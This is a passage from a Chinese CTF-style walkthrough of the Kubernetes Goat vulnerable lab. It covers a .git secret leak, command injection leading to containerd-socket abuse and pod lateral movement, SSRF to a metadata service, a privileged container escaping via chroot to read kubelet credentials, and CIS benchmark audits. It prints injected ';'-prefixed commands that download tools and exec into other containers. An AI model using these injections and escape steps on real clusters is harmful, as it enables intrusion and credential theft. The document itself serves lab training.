k8s-goat靶场练习-上
2026-04-04 16:48:54 # Web安全

前言

Kubernetes Goat[1]被设计成一个故意易受攻击的集群环境,用于学习和实践Kubernetes安全性。搭建的过程,这里就忽略了。

一、Sensitive keys in codebases

代码库中的敏感密钥。

场景描述:

Developers tend to commit sensitive information to version control systems. As we are moving towards CI/CD and GitOps systems, we tend to forgot identifying sensitive information in code and commits. Let’s see if we can find something cool here!

靶场地址:http://127.0.0.1:1230

.git信息泄露

首先,信息泄露,先进行目录扫描。

image-20260311161400754

下载.git的文件。

1
git-dumper http://localhost:1230/.git k8s-goat-git

image-20260311161538916

1
2
cd k8s-goat-git
git log

image-20260311162734226

当切换到d7c173ad183c574109cd5c4c648ffe551755b576的时候,发现了key的邪路。

1
git checkout d7c173ad183c574109cd5c4c648ffe551755b576

image-20260311163149741

二、DIND (docker-in-docker) exploitation

场景介绍:

Most of the CI/CD and pipeline system which use Docker and build containers for you with in the pipeline use something called DIND (docker-in-docker). Here in this scenario, we try to exploit and gain access to host system.

大多数 CI/CD 和流水线系统都使用底层主机容器运行时,通过一种名为 DIND(Docker-in-Docker)的技术,利用 UNIX 套接字在流水线内部构建容器。在本场景中,我们尝试利用这种配置错误,通过逃逸出 Docker 容器来获取对工作节点主机系统的访问权限。

靶场地址:http://127.0.0.1:1231/

命令注入

image-20260311164337527

发现是命令注入漏洞。

容器逃逸,横向移动

mount查看挂载的文件。

image-20260311164430181

整理了一下文件的格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rtt min/avg/max/mdev = 0.099/0.143/0.187/0.044 ms

overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/74/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/73/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/72/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/71/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/70/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/69/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/68/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/67/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/66/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/65/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/64/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/63/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/62/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/75/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/75/work,uuid=on)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime)
/dev/vda1 on /etc/hosts type ext4 (rw,relatime,discard)
/dev/vda1 on /dev/termination-log type ext4 (rw,relatime,discard)
/dev/vda1 on /etc/hostname type ext4 (rw,relatime,discard)
/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime,discard)
shm on /dev/shm type tmpfs (rw,relatime,size=65536k)
tmpfs on /custom/containerd/containerd.sock type tmpfs (rw,relatime,mode=755) # 问题点
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime,size=102400k,noswap)

mount 命令是用来查看、挂载和管理文件系统的

在 Linux 里,一切文件最终都要“挂”到某个目录上才能访问。比如硬盘分区、内存文件系统、容器里的特殊伪文件系统,都会通过 mount 挂到 //proc/dev 这种路径下。
所以 mount 常见有两种用途:

  • 不带参数时:查看当前系统已经挂载了哪些文件系统
  • 带参数时:把某个设备或文件系统挂到某个目录上

你这里看到的内容,本质上就是 mount 的输出结果,表示“当前容器/系统里有哪些挂载点”。

我们发现在挂载的路径中倒数第二行出现了tmpfs on /custom/containerd/containerd.sock type tmpfs (rw,relatime,mode=755)

1
tmpfs on /custom/containerd/containerd.sock type tmpfs (rw,relatime,mode=755)

tmpfs 表示这个挂载对象底层来自 tmpfs 文件系统。

on /custom/containerd/containerd.sock 表示在容器内,这个对象挂载到了这个路径。

type tmpfs 表示文件系统类型是 tmpfs

(rw,relatime,mode=755) 表示挂载参数:

  • rw:可读写
  • relatime:访问时间按折中策略更新
  • mode=755:权限模式是 755

一句话解释:

容器里有一个挂载点 /custom/containerd/containerd.sock,它对应的是宿主机运行时环境里的一个 containerd socket,这个 socket 所在底层文件系统是 tmpfs

我们假设/custom/containerd/containerd.sock,它是从宿主机挂载的,我们需要与它通信才能通过 UNIX 套接字与宿主机进行通信。

我们可以使用多种方法与 containerd.sock UNIX 套接字通信。其中一些方法包括使用crictl 二进制文件[2],或者使用简单的 curl 程序。

我准备使用crictl;uname -a查看架构为aarch64 GNU/Linux

image-20260311174121909

下载对应架构的crictl二进制文件。

1
;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.35.0/crictl-v1.35.0-linux-arm64.tar.gz -O /tmp/crictl-v1.35.0-linux-arm64.tar.gz

下载好后,解压文件。

1
;tar -xvf /tmp/crictl-v1.35.0-linux-arm64.tar.gz -C /tmp/

然后执行命令:

1
;/tmp/crictl -r unix:///custom/containerd/containerd.sock images

image-20260311184523430成功了!。

结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
IMAGE                                              TAG                                   IMAGE ID        SIZE
docker.io/kindest/kindnetd v20251212-v0.29.0-alpha-105-g20ccfc88 c96ee3c174987 38.5MB
docker.io/kindest/local-path-helper v20251211-v0.29.0-alpha-100-g82a92c5d 0448c5de7d88e 2.95MB
docker.io/kindest/local-path-provisioner v20251212-v0.29.0-alpha-105-g20ccfc88 909b40d32940f 22MB
docker.io/madhuakula/k8s-goat-batch-check latest f0129d6152f41 90.8MB
docker.io/madhuakula/k8s-goat-build-code latest 295ed6ef17f8f 88.9MB
docker.io/madhuakula/k8s-goat-cache-store latest dd7acaadfcf7d 11.3MB
docker.io/madhuakula/k8s-goat-health-check latest e5234b72530ac 429MB
docker.io/madhuakula/k8s-goat-hidden-in-layers latest d4a7f5772aced 3.34MB
docker.io/madhuakula/k8s-goat-home latest 5bf9d602729ff 6.65MB
docker.io/madhuakula/k8s-goat-hunger-check latest 39cb96832fddc 73.8MB
docker.io/madhuakula/k8s-goat-info-app latest 5e137868144e2 26.9MB
docker.io/madhuakula/k8s-goat-internal-api latest ac910afcbecee 58.2MB
docker.io/madhuakula/k8s-goat-metadata-db latest e4b146126a33c 117MB
docker.io/madhuakula/k8s-goat-poor-registry latest 43b0769ea2400 62.8MB
docker.io/madhuakula/k8s-goat-system-monitor latest 85e024be14a08 70.1MB
registry.k8s.io/coredns/coredns v1.13.1 e08f4d9d2e6ed 21.2MB
registry.k8s.io/etcd 3.6.6-0 271e49a0ebc56 21.7MB
registry.k8s.io/kube-apiserver-arm64 v1.35.0 c3fcf259c473a 85MB
registry.k8s.io/kube-apiserver v1.35.0 c3fcf259c473a 85MB
registry.k8s.io/kube-controller-manager-arm64 v1.35.0 88898f1d1a62a 72.2MB
registry.k8s.io/kube-controller-manager v1.35.0 88898f1d1a62a 72.2MB
registry.k8s.io/kube-proxy-arm64 v1.35.0 de369f46c2ff5 74.1MB
registry.k8s.io/kube-proxy v1.35.0 de369f46c2ff5 74.1MB
registry.k8s.io/kube-scheduler-arm64 v1.35.0 ddc8422d4d35a 49.8MB
registry.k8s.io/kube-scheduler v1.35.0 ddc8422d4d35a 49.8MB
registry.k8s.io/pause 3.10 afb61768ce381 268kB

继续深入,可以列出全部的容器:

1
;/tmp/crictl -r unix:///custom/containerd/containerd.sock ps -a

可以得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
CONTAINER ID   IMAGE ID        CREATED      STATE    NAME                  ATTEMPT   POD ID         POD NAME                                               POD NAMESPACE
39b55a6ac9d3e 5e137868144e2 3 days ago Running info-app 0 e6e53b836f1e2 internal-proxy-deployment-c59c45d94-sqnpw default
7fd500055a6ea 5bf9d602729ff 3 days ago Running kubernetes-goat-home 0 a6035d3fd74af kubernetes-goat-home-deployment-cd46cd955-xsz9c default
c1164292dc4c2 85e024be14a08 3 days ago Running system-monitor 0 31eb34dc67c5d system-monitor-deployment-866f697c75-2wzd4 default
f0465014d9a14 43b0769ea2400 3 days ago Running poor-registry 0 7eb8803f3ca43 poor-registry-deployment-7b75fbd7-qlvsg default
11cb3c401ce8a d4a7f5772aced 3 days ago Running hidden-in-layers 0 7eb4629b76999 hidden-in-layers-rh6pp default
4bb9f88a07c43 295ed6ef17f8f 3 days ago Running build-code 0 503a7c0c931a6 build-code-deployment-84fb858df9-qsx8s default
33ac4a15dfc6b e5234b72530ac 3 days ago Running health-check 0 d7b28bb9045dc health-check-deployment-b7f74cdc8-mvt5t default
a7d6f32eff992 ac910afcbecee 3 days ago Running internal-api 0 e6e53b836f1e2 internal-proxy-deployment-c59c45d94-sqnpw default
7e32a60ced9ac e4b146126a33c 3 days ago Running metadata-db 0 03673c0418556 metadata-db-6fbb8cd6d7-c5qfk default
ebbfc8dd10ac6 39cb96832fddc 3 days ago Running hunger-check 0 15b769666d6ac hunger-check-deployment-5488f8b86c-6tkmh big-monolith
6a4dc552eabaa dd7acaadfcf7d 3 days ago Running cache-store 0 b6819e7a6b4aa cache-store-deployment-8bf8d695b-9smb8 secure-middleware
356d2c4b53ee9 f0129d6152f41 3 days ago Running batch-check 0 db767a53e1087 batch-check-job-5hbfj default
c55f45aa910bb c96ee3c174987 3 days ago Running kindnet-cni 0 f23313cef012f kindnet-tw6sq kube-system
860f3299cb335 de369f46c2ff5 3 days ago Running kube-proxy 0 1a148ce1d7c37 kube-proxy-462gh kube-system

进入到其它的容器中:

1
2
# /tmp/crictl -r unix:///custom/containerd/containerd.sock exec -s <container_id> id
;/tmp/crictl -r unix:///custom/containerd/containerd.sock exec -s 7fd500055a6ea id

必须要带-s参数才能执行成功[3]

image-20260311212736579

这个-s非常重要,否则,crictl 将会尝试通过 HTTP 端点来运行该命令,导致执行失败。这样就可以实现了pod间的横向移动。

漏洞根本原因:

Pod的hostPath挂载点(宿主机源路径)为以下内容,就会出现这样的安全问题:

1
2
3
4
/var/run/dockershim.sock
/run/containerd/containerd.sock
/run/crio/crio.sock
/var/run/cri-dockerd.sock

漏洞的修复策略:

使用 Pod 安全策略或准入控制器来阻止或限制创建 hostPath 挂载点位于以下位置的 Pod:

1
2
3
4
/var/run/dockershim.sock
/run/containerd/containerd.sock
/run/crio/crio.sock
/var/run/cri-dockerd.sock

三、SSRF in the Kubernetes (K8S) world

场景介绍:

SSRF (Server Side Request Forgery) vulnerability became the go-to attack for cloud native environments. Here in this scenario, we will see how we can exploit an application vulnerability like SSRF to gain access to cloud instance metadata as well as internal services metdata information.

靶场地址:http://127.0.0.1:1232

内网探测

访问内网地址:http://127.0.0.1:5000

image-20260311221049632

从上图中,我发现了http://metadata-db地址

image-20260311221343456

遍历路径,找到了http://metadata-db/latest/secrets/kubernetes-goat

image-20260311221539434

解码这个data,可以得到:

1
echo "azhzLWdvYXQtY2E5MGVmODVkYjdhNWFlZjAxOThkMDJmYjBkZjljYWI=" | base64 -d

image-20260311221644940

ServiceAccount token

k8s中pod的ServiceAccount token地址一般为:

1
/var/run/secrets/kubernetes.io/serviceaccount/token

同目录下通常还有这几个文件:

1
2
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
/var/run/secrets/kubernetes.io/serviceaccount/namespace

分别表示:

  • token:访问 Kubernetes API 用的 Bearer Token
  • ca.crt:API Server 的 CA 证书
  • namespace:当前 Pod 所在命名空间

所以很多容器里访问集群 API 时,会配合下面这个地址一起用:

  • API 地址:https://kubernetes.default.svc
  • Token 文件:/var/run/secrets/kubernetes.io/serviceaccount/token

image-20260311215140454

不过要注意两点:

1、不是所有 Pod 都一定有token

如果显式关闭了自动挂载,比如:

1
automountServiceAccountToken: false

那这个目录可能不存在。

2、新版本里底层机制可能是投射卷
虽然实现方式变了,但容器内默认看到的路径通常还是这条。

拓展

再多了解一些内容。

这个 token 是怎么自动挂进 Pod 的?

核心流程是:

  1. Pod 被创建
  2. Pod 会绑定一个 ServiceAccount
  3. 如果没有特别指定,默认用当前命名空间里的 default ServiceAccount
  4. Kubernetes 检查这个 Pod 是否允许自动挂载 ServiceAccount token
  5. 如果允许,就把一个 ServiceAccount token 投射卷 挂进容器
  6. 容器里就能在固定路径看到 tokenca.crtnamespace

你在 Pod 里常看到的目录就是:/var/run/secrets/kubernetes.io/serviceaccount/

里面一般有:tokenca.crtnamespace

这个token是干嘛的?它和 ServiceAccountRBACkubernetes.default.svc 是什么关系?

这四者可以这样理解:

  • ServiceAccount:Pod 的“身份”
  • token:证明这个身份的“凭证”
  • kubernetes.default.svc:集群内访问 API Server 的“地址”
  • RBAC:这个身份“能做什么”的权限规则

它们连起来就是:

Pod 带着某个 ServiceAccount 的 token,请求 kubernetes.default.svc 这个 API Server 地址,API Server 再根据 RBAC 判断它有没有权限执行该操作。

四、Container escape to the host system

特权配置,容器逃逸到宿主机系统。

场景介绍:

Most of the monitoring, tracing and debugging software require to run with extra privileges and capabilities. Here in this scenario, we will see a pod with extra capabilities and privileges including HostPath allows us to gain access to host system and provide Node level configuration to gain complete cluster compromise.

此场景的目标是利用宿主机系统上存在的配置错误,逃离正在运行的 Docker 容器。次要目标是利用宿主机系统级的访问权限,获取其他资源,如果可能的话,甚至获取容器、节点和集群级别的访问权限。

靶场地址:http://127.0.0.1:1233/

image-20260312002722416

查看容器的配置信息

获取主机系统的访问权限,并获取节点级 kubeconfig 文件 /var/lib/kubelet/kubeconfig ,然后使用获取的配置查询 Kubernetes 节点。

capsh --print

执行命令capsh --print,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore
Ambient set =
Current IAB:
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)

直接分析这个返回的结果:

1、Current: =ep

这表示当前进程的 capability 集合里,启用了 effectivepermitted

简单理解:

  • permitted (p):允许你拥有这些能力
  • effective (e):这些能力当前正在生效,可以直接用

这里显示成 =ep,但没有逐个展开,通常表示当前有效能力集合非常大,结合下面的 Bounding set 看,基本就是拿到了大量高权限能力。

2、Bounding set = ...

这一行最关键,表示当前进程“最多还能拥有的 capabilities 上限”。

你这里的 Bounding set 非常大,包含了大量高危能力,例如:

  • cap_net_admin 可管理网络配置,比如网卡、路由、防火墙等
  • cap_net_raw 可使用原始套接字,比如抓包、构造特殊网络报文
  • cap_sys_ptrace 可调试/跟踪其他进程
  • cap_sys_module 可装载/卸载内核模块
  • cap_sys_admin 这是最危险的一类之一,常被称为“准 root 能力大礼包” 它覆盖面极广,很多敏感系统操作都和它有关
  • cap_sys_rawio 可进行底层原始 I/O 操作
  • cap_sys_boot 可执行系统启动/重启相关操作
  • cap_mknod 可创建设备文件
  • cap_bpf 可使用 eBPF 相关能力
  • cap_checkpoint_restore 和进程恢复、命名空间等高级操作有关

这说明什么?

说明这个进程的权限不是普通容器默认权限,而是非常接近宿主机高权限进程。

正常、受限的容器通常不会有这么完整的一串能力,尤其不会轻易拿到:

  • cap_sys_admin
  • cap_sys_module
  • cap_sys_ptrace
  • cap_bpf
  • cap_net_admin

3. Ambient set =

这是空的,表示 ambient capabilities 没有设置。

这通常不是重点问题。
空并不代表权限低,因为你前面的 effective/permitted/bounding 已经非常高了。

4. Current IAB:

这里没展开出更多内容,一般表示当前 inheritable/ambient/bounding 相关状态没有额外信息值得展示。

重点仍然是前面的能力集。

5. Securebits: 00/0x0/1'b0 (no-new-privs=0)

这一段表示安全位设置。

其中最值得关注的是:

  • no-new-privs=0

意思是:

当前进程没有开启 no_new_privs 限制。

简单理解:

  • 如果 no_new_privs=1,进程后续执行程序时,不能再通过 setuid、文件 capability 等方式获得额外权限
  • 现在是 0,说明没有这个保护限制

也就是说,从防守角度看,这也是偏危险的信号。

下面几项:

  • secure-noroot: no
  • secure-no-suid-fixup: no
  • secure-keep-caps: no
  • secure-no-ambient-raise: no

都表示这些更严格的安全约束没有启用,整体上是比较“宽松”的高权限状态。

6. uid=0(root) euid=0(root)

这表示当前用户身份就是 root

  • uid=0:真实用户 ID 是 root
  • euid=0:有效用户 ID 也是 root

这意味着当前进程不是普通用户,而是以 root 身份运行。

7. gid=0(root) / groups=0(root)

这表示组身份也是 root 组。

mount

mount查看文件的挂载,输出结果太长了,这里忽略。

ls -al查看当前的目录。

image-20260312012347600

注意到了/host-system目录。

获取主机权限

使用chroot获取主机的权限,chroot /host-system bash

image-20260312012634952

访问所有主机系统资源,例如 Docker 容器、配置等。命令crictl pods

image-20260312013404077

执行ctr -n k8s.io containers list

image-20260312013726678

获取与Kubernetes节点相同的权限

Kubernetes 节点配置位于默认路径,节点级 kubelet 使用该路径与 Kubernetes API 服务器通信。如果您可以使用此配置,您将获得与 Kubernetes 节点相同的权限。

1
cat /etc/kubernetes/kubelet.conf

image-20260312094653233

可以使用 kubectl 命令,利用已获得的配置来探索其他资源。

执行命令kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system

/etc/kubernetes/kubelet.conf 里的认证身份连接 Kubernetes API Server,查看 kube-system 命名空间中的常见资源对象

输出的结果为:

1
2
3
4
5
6
7
8
9
10
11
12
root@system-monitor-deployment-866f697c75-2wzd4:/# kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 3d18h
Error from server (Forbidden): pods is forbidden: User "system:node:my-k8s-lab-worker" cannot list resource "pods" in API group "" in the namespace "kube-system": can only list/watch pods with spec.nodeName field selector
Error from server (Forbidden): replicationcontrollers is forbidden: User "system:node:my-k8s-lab-worker" cannot list resource "replicationcontrollers" in API group "" in the namespace "kube-system"
Error from server (Forbidden): daemonsets.apps is forbidden: User "system:node:my-k8s-lab-worker" cannot list resource "daemonsets" in API group "apps" inthe namespace "kube-system"
Error from server (Forbidden): deployments.apps is forbidden: User "system:node:my-k8s-lab-worker" cannot list resource "deployments" in API group "apps" in the namespace "kube-system"
Error from server (Forbidden): replicasets.apps is forbidden: User "system:node:my-k8s-lab-worker" cannot list resource "replicasets" in API group "apps" in the namespace "kube-system"
Error from server (Forbidden): statefulsets.apps is forbidden: User "system:node:my-k8s-lab-worker" cannot list resource "statefulsets" in API group "apps" in the namespace "kube-system"
Error from server (Forbidden): horizontalpodautoscalers.autoscaling is forbidden: User "system:node:my-k8s-lab-worker" cannot list resource "horizontalpodautoscalers" in API group "autoscaling" in the namespace "kube-system"
Error from server (Forbidden): cronjobs.batch is forbidden: User "system:node:my-k8s-lab-worker" cannot list resource "cronjobs" in API group "batch" in the namespace "kube-system"
Error from server (Forbidden): jobs.batch is forbidden: User "system:node:my-k8s-lab-worker" cannot list resource "jobs" in API group "batch" in the namespace "kube-system"

拿 kubelet 这份配置文件里的身份,去查 Kubernetes 系统命名空间里有哪些常见资源,发现连上了 API Server,但当前身份是节点身份 system:node:my-k8s-lab-worker,它只有受限权限,所以只能看到一部分资源,其他资源被 RBAC 拒绝了。

下面再看其它的信息,执行kubectl --kubeconfig /etc/kubernetes/kubelet.conf get nodes

image-20260312101443417

你当前使用的是节点 my-k8s-lab-worker 的 kubelet 身份,这个身份可以连接 Kubernetes API,但它没有权限列出全体节点,只允许访问它自己的 Node 对象。

五、Docker CIS benchmarks analysis

Docker CIS基准分析。

此场景在执行容器安全审计和评估时非常有用。在这里,我们将学习如何为docker容器运行流行的CIS基准审计,并使用审计结果进一步利用或修复错误配置和漏洞。如果您在容器和云原生生态系统的现代世界中具有审计和合规背景,那么这一点非常重要。

scenario-5-bdef8a5cad9f733a492c4ad24c2f42f4

在本场景结束时,我们将理解并学习以下内容

  1. 对Docker容器执行CIS基准审计
  2. 与Daemonset、Kubernetes中的pod和集群中的其他资源一起工作
  3. 获得整个容器安全状态的可见性,并了解风险

该场景主要是在Kubernetes节点上执行Docker CIS基准测试分析,以识别可能存在的安全漏洞。

要开始这个场景,您可以访问节点并按照docker bench security执行,或者运行以下命令将docker bench security作为Kubernetes集群中的守护进程[4]部署

  • 要开始这个场景,您可以使用以下命令部署Docker CIS基准测试守护进程
1
kubectl apply -f scenarios/docker-bench-security/deployment.yaml
  • 要执行到pod中,我们可以运行以下命令。确保替换pod名称
1
kubectl exec -it docker-bench-security-xxxxx -- sh

执行Docker CIS benchmark

我们可以通过运行以下命令来部署Docker CIS基准测试。

1
kubectl apply -f scenarios/docker-bench-security/deployment.yaml

image-20260402133409496

然后,我们可以通过运行以下命令列出守护进程中正在运行的pod

1
kubectl get pods

image-20260402133523723

1
kubectl get daemonsets.apps

image-20260402133631355

现在我们可以看到docker-bench-security-4mkrl pod是正在运行,进入到这个pod中执行审计。

1
kubectl exec -it docker-bench-security-4mkrl -- sh

image-20260402134234701

docker-bench-security已经被安装在容器中了,进入目录中执行扫描。

运行以下命令去启动Docker CIS benchmarks脚本进行审计。

1
2
cd docker-bench-security/
sh docker-bench-security.sh

image-20260402135257659

发现执行失败了。

排查原因发现, 我的集群容器运行时是containerd://2.2.0,而不是Docker,这意味着:

  • 节点上根本没有 Docker daemon 在运行
  • 不存在 /var/run/docker.sock 这个文件
  • docker-bench-security 在这个环境下无法使用,无论怎么改 YAML 都不行

image-20260402135405521

因为我用的是Kind(Kubernetes in Docker) 集群,而Kind内部的节点使用的是containerd而非Docker作为容器运行时。

pod里还有几个安全审计工具可以用,可以做了解。

六、Kubernetes CIS benchmarks analysis

此方案在执行 Kubernetes 安全审计和评估时非常有用。我们将学习如何运行常用的 CIS 基准审计来测试 Kubernetes 集群,并利用审计结果进一步分析或修复配置错误和漏洞。如果您在当今容器、Kubernetes 和云原生生态系统领域拥有审计和合规方面的背景,那么这至关重要,甚至是必不可少的。

scenario-6-78049d3b97fcd61c8101b10ea4bd0e8b

通过本情景模拟,我们将理解并学习以下内容:

  1. 您将学习如何对 Kubernetes 集群执行 CIS 基准审计。

  2. 在 Kubernetes 中处理作业、Pod 和集群中的其他资源

  3. 全面了解 Kubernetes 集群的安全状况并掌握风险

此场景主要是为了在 Kubernetes 节点和集群资源之上执行 Kubernetes CIS 基准测试分析,以识别可能存在的安全漏洞。

  • 要开始此场景,您可以访问节点并按照 kube-bench 安全指南执行操作,或者运行以下命令将 kube-bench 部署为 Kubernetes Job。
1
kubectl apply -f scenarios/kube-bench-security/node-job.yaml
1
kubectl apply -f scenarios/kube-bench-security/master-job.yaml

部署Kubernetes Job

现在我们可以通过运行以下命令来获取作业列表和关联的 Pod 信息。

1
2
kubectl get jobs
kubectl get pods

image-20260402200444737

扎到了kube-bench-node-4vdjd,运行一下命令查看审计的结果。

1
kubectl logs -f kube-bench-node-4vdjd

image-20260402200824015

审计结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
❯ kubectl logs -f kube-bench-node-4vdjd
[INFO] 4 Worker Node Security Configuration
[INFO] 4.1 Worker Node Configuration Files
[FAIL] 4.1.1 Ensure that the kubelet service file permissions are set to 600 or more restrictive (Automated)
[PASS] 4.1.2 Ensure that the kubelet service file ownership is set to root:root (Automated)
[WARN] 4.1.3 If proxy kubeconfig file exists ensure permissions are set to 600 or more restrictive (Manual)
[WARN] 4.1.4 If proxy kubeconfig file exists ensure ownership is set to root:root (Manual)
[PASS] 4.1.5 Ensure that the --kubeconfig kubelet.conf file permissions are set to 600 or more restrictive (Automated)
[PASS] 4.1.6 Ensure that the --kubeconfig kubelet.conf file ownership is set to root:root (Automated)
[PASS] 4.1.7 Ensure that the certificate authorities file permissions are set to 644 or more restrictive (Manual)
[PASS] 4.1.8 Ensure that the client certificate authorities file ownership is set to root:root (Manual)
[FAIL] 4.1.9 If the kubelet config.yaml configuration file is being used validate permissions set to 600 or more restrictive (Automated)
[PASS] 4.1.10 If the kubelet config.yaml configuration file is being used validate file ownership is set to root:root (Automated)
[INFO] 4.2 Kubelet
[PASS] 4.2.1 Ensure that the --anonymous-auth argument is set to false (Automated)
[PASS] 4.2.2 Ensure that the --authorization-mode argument is not set to AlwaysAllow (Automated)
[PASS] 4.2.3 Ensure that the --client-ca-file argument is set as appropriate (Automated)
[PASS] 4.2.4 Verify that if defined, the --read-only-port argument is set to 0 (Manual)
[PASS] 4.2.5 Ensure that the --streaming-connection-idle-timeout argument is not set to 0 (Manual)
[PASS] 4.2.6 Ensure that the --make-iptables-util-chains argument is set to true (Automated)
[PASS] 4.2.7 Ensure that the --hostname-override argument is not set (Manual)
[PASS] 4.2.8 Ensure that the eventRecordQPS argument is set to a level which ensures appropriate event capture (Manual)
[WARN] 4.2.9 Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate (Manual)
[PASS] 4.2.10 Ensure that the --rotate-certificates argument is not set to false (Automated)
[PASS] 4.2.11 Verify that the RotateKubeletServerCertificate argument is set to true (Manual)
[WARN] 4.2.12 Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers (Manual)
[WARN] 4.2.13 Ensure that a limit is set on pod PIDs (Manual)
[WARN] 4.2.14 Ensure that the --seccomp-default parameter is set to true (Manual)
[INFO] 4.3 kube-proxy
[PASS] 4.3.1 Ensure that the kube-proxy metrics service is bound to localhost (Automated)

== Remediations node ==
4.1.1 Run the below command (based on the file location on your system) on the each worker node.
For example, chmod 600 /etc/systemd/system/kubelet.service.d/10-kubeadm.conf

4.1.3 Run the below command (based on the file location on your system) on the each worker node.
For example,
chmod 600 /etc/kubernetes/proxy.conf

4.1.4 Run the below command (based on the file location on your system) on the each worker node.
For example, chown root:root /etc/kubernetes/proxy.conf

4.1.9 Run the following command (using the config file location identified in the Audit step)
chmod 600 /var/lib/kubelet/config.yaml

4.2.9 If using a Kubelet config file, edit the file to set `tlsCertFile` to the location
of the certificate file to use to identify this Kubelet, and `tlsPrivateKeyFile`
to the location of the corresponding private key file.
If using command line arguments, edit the kubelet service file
/etc/systemd/system/kubelet.service.d/10-kubeadm.conf on each worker node and
set the below parameters in KUBELET_CERTIFICATE_ARGS variable.
--tls-cert-file=<path/to/tls-certificate-file>
--tls-private-key-file=<path/to/tls-key-file>
Based on your system, restart the kubelet service. For example,
systemctl daemon-reload
systemctl restart kubelet.service

4.2.12 If using a Kubelet config file, edit the file to set `tlsCipherSuites` to
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
or to a subset of these values.
If using executable arguments, edit the kubelet service file
/etc/systemd/system/kubelet.service.d/10-kubeadm.conf on each worker node and
set the --tls-cipher-suites parameter as follows, or to a subset of these values.
--tls-cipher-suites=TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
Based on your system, restart the kubelet service. For example:
systemctl daemon-reload
systemctl restart kubelet.service

4.2.13 Decide on an appropriate level for this parameter and set it,
either via the --pod-max-pids command line parameter or the PodPidsLimit configuration file setting.

4.2.14 Set the parameter, either via the --seccomp-default command line parameter or the
seccompDefault configuration file setting.
By default the seccomp profile is not enabled.


== Summary node ==
17 checks PASS
2 checks FAIL
6 checks WARN
0 checks INFO

== Summary total ==
17 checks PASS
2 checks FAIL
6 checks WARN
0 checks INFO

七、Attacking private registry

攻击私有镜像库。

场景介绍:

